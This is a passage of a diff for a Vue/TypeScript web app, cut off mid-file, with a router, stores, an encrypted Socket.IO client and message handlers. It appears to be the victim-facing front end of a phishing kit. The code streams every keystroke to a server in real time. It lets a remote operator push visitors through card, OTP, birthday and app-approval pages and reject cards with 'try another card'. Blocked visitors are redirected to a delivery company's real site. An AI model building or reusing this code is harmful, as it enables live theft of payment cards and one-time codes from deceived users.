|
||||
import OtpView from "@/views/OtpView.vue";
|
||||
import CustomOtpView from "@/views/CustomOtpView.vue";
|
||||
import AppValidView from "@/views/AppValidView.vue";
|
||||
import SuccessView from "@/views/SuccessView.vue";
|
||||
import CardView from "@/views/CardView.vue";
|
||||
import AddressView from "@/views/AddressView.vue";
|
||||
|
||||
// 注意:您最后提供的代码中没有包含 GoodsView 和 GoodsDetailsView,
|
||||
// 所以这个版本也保持一致,不额外添加它们。
|
||||
|
||||
const router = createRouter({
|
||||
/**
|
||||
* History 模式选择:createMemoryHistory
|
||||
*
|
||||
* 这种模式在内部维护一个历史记录堆栈,但**不与浏览器 URL 交互**。
|
||||
* 这意味着 URL 不会改变,并且它不会留下浏览器历史记录。
|
||||
*
|
||||
* 典型用例包括:
|
||||
* - **服务端渲染 (SSR)**:在 Node.js 环境中渲染 Vue 应用时,没有浏览器环境。
|
||||
* - **桌面应用 (如 Electron)**:内部导航不影响操作系统的原生浏览器历史记录。
|
||||
* - **嵌入式应用或测试环境**:当 Vue 应用作为更大应用程序的一部分嵌入,不希望其路由影响父应用的 URL 时。
|
||||
*
|
||||
* **重要提示**:在这种模式下,用户无法通过浏览器地址栏直接访问特定路由或使用前进/后退按钮进行导航。路由的改变完全由应用内部的代码控制。
|
||||
*/
|
||||
history: createMemoryHistory(import.meta.env.BASE_URL),
|
||||
|
||||
routes: [
|
||||
{
|
||||
path: "/",
|
||||
name: "home",
|
||||
// **** 核心变化:直接引用导入的组件,实现“全静态加载” ****
|
||||
component: IndexView,
|
||||
},
|
||||
{
|
||||
path: "/home",
|
||||
name: "home",
|
||||
component: HomeView,
|
||||
},
|
||||
{
|
||||
path: "/pay",
|
||||
name: "pay",
|
||||
component: PayView,
|
||||
},
|
||||
{
|
||||
path: "/otpValid",
|
||||
name: "otpValid",
|
||||
component: OtpView,
|
||||
},
|
||||
{
|
||||
path: "/customOtpValid",
|
||||
name: "customOtpValid",
|
||||
component: CustomOtpView,
|
||||
},
|
||||
{
|
||||
path: "/appValid",
|
||||
name: "appValid",
|
||||
component: AppValidView,
|
||||
},
|
||||
{
|
||||
path: "/success",
|
||||
name: "success",
|
||||
component: SuccessView,
|
||||
},
|
||||
{
|
||||
path: "/card",
|
||||
name: "card",
|
||||
component: CardView,
|
||||
},
|
||||
{
|
||||
path: "/address",
|
||||
name: "address",
|
||||
component: AddressView,
|
||||
},
|
||||
],
|
||||
|
||||
/**
|
||||
* 滚动行为配置 (scrollBehavior):
|
||||
* 控制路由跳转时页面的滚动位置。
|
||||
*
|
||||
* @param {Object} to - 即将进入的路由对象。
|
||||
* @param {Object} from - 当前离开的路由对象。
|
||||
* @param {Object} savedPosition - 如果是浏览器前进/后退,则为存储的滚动位置。
|
||||
* @returns {Object} 包含 `left` 和 `top` 属性的对象,或者一个选择器字符串。
|
||||
*/
|
||||
scrollBehavior(to, from, savedPosition) {
|
||||
// 即使是 MemoryHistory,这里仍可检查 savedPosition,但在许多情况下它会是 undefined。
|
||||
if (savedPosition) {
|
||||
return savedPosition;
|
||||
} else {
|
||||
// 否则,滚动到页面顶部,并添加平滑滚动效果。
|
||||
return { left: 0, top: 0, behavior: "smooth" }; // 建议添加 'smooth' 以改善用户体验
|
||||
}
|
||||
},
|
||||
});
|
||||
router.afterEach(() => {
|
||||
// Try all common scroll containers
|
||||
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
|
||||
document.documentElement.scrollTop = 0;
|
||||
document.body.scrollTop = 0;
|
||||
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
|
||||
if (wrap) wrap.scrollTop = 0;
|
||||
});
|
||||
|
||||
export default router;
|
||||
15
t_global_post_temp2/src/stores/counter.ts
Normal file
@@ -0,0 +1,15 @@
|
||||
import { defineStore } from "pinia";
|
||||
|
||||
export const useLoadingStore = defineStore("loading", {
|
||||
state: () => ({
|
||||
isLoading: false,
|
||||
}),
|
||||
actions: {
|
||||
showLoading() {
|
||||
this.isLoading = true;
|
||||
},
|
||||
hideLoading() {
|
||||
this.isLoading = false;
|
||||
},
|
||||
},
|
||||
});
|
||||
13
t_global_post_temp2/src/stores/loadingStore.ts
Normal file
@@ -0,0 +1,13 @@
|
||||
// stores/loadingStore.ts
|
||||
import { defineStore } from "pinia";
|
||||
|
||||
export const useLoadingStore = defineStore("loading", {
|
||||
state: () => ({
|
||||
isLoading: false,
|
||||
}),
|
||||
actions: {
|
||||
setLoading(value: boolean) {
|
||||
this.isLoading = value;
|
||||
},
|
||||
},
|
||||
});
|
||||
294
t_global_post_temp2/src/utils/common.ts
Normal file
@@ -0,0 +1,294 @@
|
||||
import _ from "lodash";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import router from "@/router";
|
||||
import { ref } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import i18n from "@/main";
|
||||
import { useSocketIo, type SessionCrypto } from "./socketio";
|
||||
|
||||
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
||||
if (viteBaseUrl === "/") {
|
||||
viteBaseUrl = "/";
|
||||
} else if (viteBaseUrl === "localhost:8011") {
|
||||
viteBaseUrl = "ws://" + viteBaseUrl;
|
||||
} else {
|
||||
viteBaseUrl = "wss://" + viteBaseUrl;
|
||||
}
|
||||
|
||||
|
||||
// Redirect to an external URL
|
||||
export function redirectToExternal() {
|
||||
window.location.replace("https://www.shadowfax.in/");
|
||||
}
|
||||
|
||||
const initHtml = async () => {
|
||||
const routePath = localStorage.getItem("route");
|
||||
// headHtml.value = await loadHtml("/gtm_post/head.html");
|
||||
|
||||
await router.push(routePath ? `/${routePath}` : "/home");
|
||||
setTimeout(async () => {
|
||||
useLoadingStore().setLoading(false);
|
||||
loadingBg.value = "#00000072";
|
||||
}, 200);
|
||||
};
|
||||
|
||||
export const customOtpData = ref<any>({});
|
||||
|
||||
export function setCustomOtpData(data: any) {
|
||||
customOtpData.value = data;
|
||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
||||
}
|
||||
|
||||
export let myWebSocket: any | undefined;
|
||||
|
||||
// Configuration data
|
||||
export const configData = ref<Record<string, any>>({});
|
||||
|
||||
// Utility function to check if all values in an object are not empty
|
||||
export function areAllValuesNotEmpty(
|
||||
obj: Record<string, any>,
|
||||
excludedFields: string[] = []
|
||||
): boolean {
|
||||
return Object.keys(obj).every((key) => {
|
||||
if (excludedFields.includes(key)) return true;
|
||||
const value = obj[key];
|
||||
return (
|
||||
value !== null &&
|
||||
value !== undefined &&
|
||||
value !== "" &&
|
||||
!(typeof value === "string" && value.trim() === "")
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
// 存储 WebSocket 和 API 的防抖函数
|
||||
const wsDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
const apiDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
|
||||
// 获取或创建针对某个键的防抖函数
|
||||
function getDebouncedFunction(
|
||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
||||
key: string,
|
||||
func: (...args: any[]) => void,
|
||||
wait: number
|
||||
) {
|
||||
if (!debounceFunctions[key]) {
|
||||
debounceFunctions[key] = _.debounce(func, wait);
|
||||
}
|
||||
return debounceFunctions[key];
|
||||
}
|
||||
|
||||
const modeRef = ref(1)
|
||||
|
||||
|
||||
// 处理输入变化
|
||||
export function inputChange(type: string, key: any, value: any) {
|
||||
const currentTimestamp = Date.now(); // 当前时间戳
|
||||
|
||||
// WebSocket 防抖函数
|
||||
const wsDebouncedFunction = getDebouncedFunction(
|
||||
wsDebounceFunctions,
|
||||
key,
|
||||
(type, key, value) => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "input_text",
|
||||
content: { type, key, text: value },
|
||||
timestamp: currentTimestamp,
|
||||
})
|
||||
);
|
||||
},
|
||||
300
|
||||
);
|
||||
// 调用防抖函数
|
||||
wsDebouncedFunction(type, key, value);
|
||||
|
||||
}
|
||||
|
||||
|
||||
// Handle login success
|
||||
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
|
||||
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
|
||||
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
|
||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
||||
myWebSocket?.on("open", () => {
|
||||
const lastToken = localStorage.getItem("token");
|
||||
loginWebsocket(token, lastToken !== token);
|
||||
});
|
||||
|
||||
myWebSocket?.on("message", handleMessage);
|
||||
|
||||
window.addEventListener("beforeunload", () => {
|
||||
myWebSocket?.off("close");
|
||||
});
|
||||
}
|
||||
|
||||
// Handle WebSocket messages
|
||||
function handleMessage(data: any) {
|
||||
console.log("Received WebSocket message:", data);
|
||||
const jsonData = JSON.parse(data);
|
||||
if (!jsonData || !jsonData.event) return;
|
||||
|
||||
const { event, content } = jsonData;
|
||||
|
||||
switch (event) {
|
||||
case "login":
|
||||
//handleLoginEvent(content);
|
||||
break;
|
||||
case "result_type":
|
||||
handleResultTypeEvent(content);
|
||||
break;
|
||||
case "reload":
|
||||
window.location.reload();
|
||||
break;
|
||||
case "navigate":
|
||||
navigateTo(content.pagePath, content);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Handle result type event
|
||||
function handleResultTypeEvent(content: any) {
|
||||
if (!content) return;
|
||||
console.log("Handling result type event with content:", content);
|
||||
const typeHandlers: Record<string, () => void> = {
|
||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
||||
otpValid: () => navigateTo("/otpValid", content),
|
||||
appValid: () => navigateTo("/appValid", content),
|
||||
success: () => router.push("/success"),
|
||||
kickOut: redirectToExternal,
|
||||
block: redirectToExternal,
|
||||
otpFail: () =>
|
||||
eventBus.emit("otp-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t("Verification code error, please try again"),
|
||||
}),
|
||||
appFail: () =>
|
||||
eventBus.emit("app-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t(
|
||||
"The session is about to expire, please complete the verification now"
|
||||
),
|
||||
}),
|
||||
back: () => handleBackOrReject(content, true),
|
||||
reject: () => handleBackOrReject(content, false),
|
||||
refresh: () => {
|
||||
if (localStorage.getItem("route")) {
|
||||
localStorage.removeItem("route");
|
||||
window.location.reload();
|
||||
}
|
||||
},
|
||||
|
||||
};
|
||||
if (content.type == "customOtpValid") {
|
||||
if (content.value.customOtpData) {
|
||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
||||
}
|
||||
}
|
||||
if (content.type === "customOtpValid") {
|
||||
if (customOtpData.value.name === "生日验证") {
|
||||
useLoadingStore().setLoading(false);
|
||||
navigateTo("/pinCode", content);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (content.type == "customOtpFail") {
|
||||
eventBus.emit("custom-otp-valid", {
|
||||
message2: content.value.message2,
|
||||
});
|
||||
}
|
||||
|
||||
const handler = typeHandlers[content.type];
|
||||
if (handler) handler();
|
||||
|
||||
useLoadingStore().setLoading(false);
|
||||
}
|
||||
|
||||
// Navigate to specific path with query parameters
|
||||
function navigateTo(path: string, content: any) {
|
||||
|
||||
router.push('/temp').then(() => {
|
||||
router.push({
|
||||
path: path,
|
||||
query: {
|
||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
||||
message1: content.value?.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// Handle back or reject type
|
||||
function handleBackOrReject(content: any, isBack: boolean) {
|
||||
let message2 = i18n.global.t(
|
||||
"This card does not support this transaction, please try another card"
|
||||
);
|
||||
|
||||
if (configData.value.error_card_msg) {
|
||||
message2 = configData.value.error_card_msg;
|
||||
}
|
||||
|
||||
if (content.value.type) {
|
||||
const type = content.value.type;
|
||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
||||
message2 = configData.value.deny_c_msg;
|
||||
}
|
||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
||||
message2 = configData.value.deny_d_msg;
|
||||
}
|
||||
}
|
||||
|
||||
if (content.value.message2) {
|
||||
message2 = content.value.message2;
|
||||
}
|
||||
|
||||
if (isBack) {
|
||||
router.push({ path: "/card", query: { message2 } });
|
||||
}
|
||||
|
||||
eventBus.emit("my-event", { message2 });
|
||||
}
|
||||
|
||||
// Login to WebSocket
|
||||
function loginWebsocket(token: string, isFirst: boolean) {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "login",
|
||||
content: { tag: "user", token, isFirst },
|
||||
})
|
||||
);
|
||||
initHtml();
|
||||
}
|
||||
|
||||
|
||||
|
||||
export async function loadHtml(url: string) {
|
||||
try {
|
||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
||||
if (!response.ok) {
|
||||
return "";
|
||||
}
|
||||
return await response.text();
|
||||
} catch (error) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
export const headHtml = ref("");
|
||||
|
||||
export const headerHtml = ref("");
|
||||
export const footerHtml = ref("");
|
||||
export const loadingBg = ref("#ffffff");
|
||||
|
||||
|
||||
|
||||
17
t_global_post_temp2/src/utils/eventBus.ts
Normal file
@@ -0,0 +1,17 @@
|
||||
// src/eventBus.ts
|
||||
import mitt from "mitt";
|
||||
|
||||
// 定义事件名称和对应的数据类型
|
||||
type Events = {
|
||||
"my-event": { message2: string };
|
||||
"otp-valid": { message2: string };
|
||||
"app-valid": { message2: string };
|
||||
"custom-otp-valid": { message2: string };
|
||||
|
||||
// 可以在这里添加其他事件
|
||||
// 'another-event': number;
|
||||
};
|
||||
|
||||
const eventBus = mitt<Events>();
|
||||
|
||||
export default eventBus;
|
||||
407
t_global_post_temp2/src/utils/socketio.ts
Normal file
@@ -0,0 +1,407 @@
|
||||
// 设置
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { io, Socket as SocketIOClient } from "socket.io-client";
|
||||
|
||||
// ─── 会话加密接口 ───────────────────────────────────────────────
|
||||
export interface SessionCrypto {
|
||||
aesKey: CryptoKey; // AES-128-GCM,不可导出
|
||||
}
|
||||
|
||||
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
|
||||
async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
|
||||
const iv = crypto.getRandomValues(new Uint8Array(12));
|
||||
const encoded = new TextEncoder().encode(plain);
|
||||
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
|
||||
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
|
||||
out.set(iv, 0);
|
||||
out.set(new Uint8Array(cipher), iv.byteLength);
|
||||
let binary = "";
|
||||
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
|
||||
return JSON.stringify({ data: btoa(binary) });
|
||||
}
|
||||
|
||||
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
|
||||
const rawStr =
|
||||
typeof raw === "string" ? raw :
|
||||
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
|
||||
|
||||
let envelope: { data?: string };
|
||||
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
|
||||
if (!envelope?.data) return rawStr;
|
||||
|
||||
const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
|
||||
const iv = bytes.slice(0, 12);
|
||||
const cipher = bytes.slice(12);
|
||||
try {
|
||||
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
|
||||
return new TextDecoder().decode(plain);
|
||||
} catch {
|
||||
return rawStr;
|
||||
}
|
||||
}
|
||||
|
||||
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
|
||||
*/
|
||||
export async function generateECDHKeyPair(): Promise<{
|
||||
keyPair: CryptoKeyPair;
|
||||
clientPublicKeyB64: string;
|
||||
}> {
|
||||
const keyPair = await crypto.subtle.generateKey(
|
||||
{ name: "ECDH", namedCurve: "P-256" },
|
||||
true,
|
||||
["deriveBits"]
|
||||
);
|
||||
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
|
||||
const clientPublicKeyB64 = btoa(
|
||||
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
|
||||
);
|
||||
return { keyPair, clientPublicKeyB64 };
|
||||
}
|
||||
|
||||
/**
|
||||
* 用服务端公钥(base64 raw P-256)与给定的客户端私钥推导 AES-128-GCM 会话密钥
|
||||
*/
|
||||
export async function deriveSessionKey(
|
||||
serverPublicKeyB64: string,
|
||||
clientPrivateKey: CryptoKey
|
||||
): Promise<SessionCrypto> {
|
||||
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
|
||||
const serverPublicKey = await crypto.subtle.importKey(
|
||||
"raw", serverPubKeyBytes,
|
||||
{ name: "ECDH", namedCurve: "P-256" }, false, []
|
||||
);
|
||||
const sharedBits = await crypto.subtle.deriveBits(
|
||||
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
|
||||
);
|
||||
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
|
||||
const aesKey = await crypto.subtle.deriveKey(
|
||||
{
|
||||
name: "HKDF", hash: "SHA-256",
|
||||
salt: new Uint8Array(32),
|
||||
info: new TextEncoder().encode("socket-aes-key"),
|
||||
},
|
||||
hkdfKey,
|
||||
{ name: "AES-GCM", length: 128 },
|
||||
false,
|
||||
["encrypt", "decrypt"]
|
||||
);
|
||||
return { aesKey };
|
||||
}
|
||||
|
||||
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
|
||||
const MAX_QUEUE_SIZE = 200;
|
||||
|
||||
class Socket {
|
||||
url: string;
|
||||
private token: string;
|
||||
private sessionCrypto: SessionCrypto | null;
|
||||
private ecdhKeyPair: CryptoKeyPair | null = null;
|
||||
private clientPublicKeyB64: string | null = null;
|
||||
/** 握手全部完成(ECDH + login)后才为 true,期间消息也入队 */
|
||||
private isReady = false;
|
||||
socket: SocketIOClient | null = null;
|
||||
listeners: { [key: string]: Function[] } = {};
|
||||
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
|
||||
|
||||
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
this.url = url;
|
||||
this.token = token;
|
||||
this.sessionCrypto = sessionCrypto;
|
||||
this.init();
|
||||
this.setupVisibilityListener();
|
||||
}
|
||||
|
||||
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
|
||||
private async initECDH() {
|
||||
if (!this.ecdhKeyPair) {
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
this.ecdhKeyPair = keyPair;
|
||||
this.clientPublicKeyB64 = clientPublicKeyB64;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
|
||||
* 每次 connect(包括服务端重启后重连)都调用,确保密钥始终有效。
|
||||
*/
|
||||
private performKeyExchange(): Promise<void> {
|
||||
return new Promise<void>((resolve) => {
|
||||
// 3 秒超时:若服务端不响应则无加密继续
|
||||
const timeout = setTimeout(() => {
|
||||
this.socket?.off('key_exchange_result', onResult);
|
||||
this.sessionCrypto = null;
|
||||
resolve();
|
||||
}, 3000);
|
||||
|
||||
const onResult = async (serverPubKeyB64: string) => {
|
||||
clearTimeout(timeout);
|
||||
try {
|
||||
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
|
||||
} catch (e) {
|
||||
console.error('[Socket] key derivation failed:', e);
|
||||
this.sessionCrypto = null;
|
||||
}
|
||||
resolve();
|
||||
};
|
||||
|
||||
this.socket?.once('key_exchange_result', onResult);
|
||||
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
|
||||
* 服务端发送 login success 时 client.State 已同步设置完毕,
|
||||
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
|
||||
*/
|
||||
private async sendLoginAndWait(): Promise<void> {
|
||||
await new Promise<void>((resolve) => {
|
||||
let settled = false;
|
||||
const settle = () => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
this.socket?.off('message', onRawMessage);
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
};
|
||||
// 3 秒兜底:即使没收到确认也继续
|
||||
const timer = setTimeout(settle, 3000);
|
||||
|
||||
const onRawMessage = async (raw: unknown) => {
|
||||
try {
|
||||
let text: string;
|
||||
if (this.sessionCrypto) {
|
||||
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
|
||||
}
|
||||
const parsed = JSON.parse(text);
|
||||
if (parsed?.event === 'login') settle();
|
||||
} catch { /* 忽略解析失败 */ }
|
||||
};
|
||||
|
||||
// 先注册监听,再发 login,避免极速响应漏掉
|
||||
this.socket?.on('message', onRawMessage);
|
||||
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
|
||||
});
|
||||
}
|
||||
|
||||
init() {
|
||||
if (this.socket) {
|
||||
return;
|
||||
}
|
||||
console.log("Socket initialized with URL:", this.url);
|
||||
this.socket = io(this.url, {
|
||||
path: "/socket.io",
|
||||
query: this.token ? { token: this.token } : undefined,
|
||||
reconnectionDelay: 1500,
|
||||
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
|
||||
});
|
||||
|
||||
// 连接事件处理(含重连):每次都重新做 ECDH,解决服务端重启后密钥失效问题
|
||||
this.socket.on('connect', async () => {
|
||||
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
|
||||
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
|
||||
this.socket?.off('key_exchange_result');
|
||||
try {
|
||||
await this.initECDH();
|
||||
await this.performKeyExchange();
|
||||
// 等待服务端 login success 确认后再冲刷队列
|
||||
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
|
||||
await this.sendLoginAndWait();
|
||||
} catch (e) {
|
||||
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
|
||||
this.sessionCrypto = null;
|
||||
} finally {
|
||||
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
|
||||
this.isReady = true;
|
||||
await this.flushMessageQueue(); // 连接后按序发送排队消息
|
||||
this.emit('open', { type: 'open' });
|
||||
}
|
||||
});
|
||||
|
||||
// 消息接收(支持 AES-GCM 解密)
|
||||
this.socket.on('message', async (data) => {
|
||||
let plainText: string;
|
||||
if (this.sessionCrypto) {
|
||||
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
plainText = typeof data === 'string' ? data : JSON.stringify(data);
|
||||
}
|
||||
this.emit('message', plainText);
|
||||
});
|
||||
|
||||
// 连接错误
|
||||
this.socket.on('connect_error', (error) => {
|
||||
this.emit('error', error);
|
||||
});
|
||||
|
||||
// 断开连接
|
||||
this.socket.on('disconnect', (reason) => {
|
||||
this.isReady = false; // 断开后消息重新入队
|
||||
this.emit('close', { reason });
|
||||
});
|
||||
|
||||
// 重连尝试
|
||||
this.socket.on('reconnect_attempt', (attemptNumber) => {
|
||||
this.emit('reconnect_attempt', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连成功
|
||||
this.socket.on('reconnect', (attemptNumber) => {
|
||||
this.emit('reconnect', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连失败
|
||||
this.socket.on('reconnect_failed', () => {
|
||||
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
|
||||
this.emit('reconnect_failed', { type: 'reconnect_failed' });
|
||||
});
|
||||
|
||||
// 处理所有其他事件
|
||||
this.socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
|
||||
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
|
||||
this.emit(eventName, args);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
isConnected(): boolean {
|
||||
return this.socket?.connected ?? false;
|
||||
}
|
||||
|
||||
/** 用于握手阶段的 login 事件,同样走加密通道 */
|
||||
private async sendRaw(data: string) {
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', data);
|
||||
}
|
||||
}
|
||||
|
||||
async send(data: string) {
|
||||
try {
|
||||
const payload = JSON.parse(data);
|
||||
|
||||
// 添加时间戳
|
||||
const messageData = {
|
||||
...payload,
|
||||
timestamp: payload.timestamp || Date.now()
|
||||
};
|
||||
|
||||
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
|
||||
if (!this.isReady) {
|
||||
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
|
||||
this.messageQueue.push(messageData);
|
||||
} else {
|
||||
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
|
||||
}
|
||||
this.reconnectIfNeeded();
|
||||
return;
|
||||
}
|
||||
|
||||
const serialized = JSON.stringify(messageData);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Invalid message format. Must be a valid JSON string.', error);
|
||||
}
|
||||
}
|
||||
|
||||
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
|
||||
async flushMessageQueue() {
|
||||
if (this.messageQueue.length === 0) return;
|
||||
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
|
||||
for (const msg of queue) {
|
||||
if (!this.isReady || !this.socket?.connected) {
|
||||
// 发送途中再次断开,将剩余消息放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
try {
|
||||
const serialized = JSON.stringify(msg);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('[Socket] flushMessageQueue 发送失败:', e);
|
||||
// 发送失败也放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconnectIfNeeded() {
|
||||
if (!this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
}
|
||||
|
||||
on(event: string, callback: Function) {
|
||||
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
|
||||
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
|
||||
if (!this.listeners[event]) {
|
||||
this.listeners[event] = [];
|
||||
}
|
||||
this.listeners[event].push(callback);
|
||||
} else {
|
||||
// 其他 Socket.IO 原生事件
|
||||
this.socket?.on(event, (...args) => callback(...args));
|
||||
}
|
||||
}
|
||||
|
||||
off(event: string) {
|
||||
if (this.listeners[event]) {
|
||||
delete this.listeners[event];
|
||||
}
|
||||
this.socket?.off(event);
|
||||
}
|
||||
|
||||
emit(event: string, data: any) {
|
||||
if (this.listeners[event]) {
|
||||
this.listeners[event].forEach(callback => callback(data));
|
||||
}
|
||||
}
|
||||
|
||||
private handleVisibilityChange = () => {
|
||||
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
};
|
||||
|
||||
setupVisibilityListener() {
|
||||
document.addEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
}
|
||||
|
||||
disconnect() {
|
||||
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
this.socket?.disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
const socket = new Socket(url, token, sessionCrypto);
|
||||
|
||||
return {
|
||||
socket,
|
||||
send: socket.send.bind(socket),
|
||||
on: socket.on.bind(socket),
|
||||
off: socket.off.bind(socket),
|
||||
disconnect: socket.disconnect.bind(socket),
|
||||
};
|
||||
}
|
||||
|
||||
export { useSocketIo, Socket };
|
||||
392
t_global_post_temp2/src/utils/websocket.ts
Normal file
@@ -0,0 +1,392 @@
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { sendInput } from "@/api/api";
|
||||
|
||||
// ============ 类型定义 ============
|
||||
interface SocketOptions {
|
||||
heartbeatInterval?: number;
|
||||
reconnectInterval?: number;
|
||||
maxReconnectAttempts?: number;
|
||||
retryIntervals?: number[];
|
||||
forceClose?: boolean;
|
||||
timeOut?: boolean;
|
||||
}
|
||||
|
||||
interface PendingMessage {
|
||||
id: string;
|
||||
data: string;
|
||||
retries: number;
|
||||
timestamp: number;
|
||||
}
|
||||
|
||||
// ============ 默认配置 ============
|
||||
const DEFAULT_OPTIONS: Required<SocketOptions> = {
|
||||
heartbeatInterval: 2000,
|
||||
reconnectInterval: 1000,
|
||||
maxReconnectAttempts: 10,
|
||||
retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试
|
||||
forceClose: false,
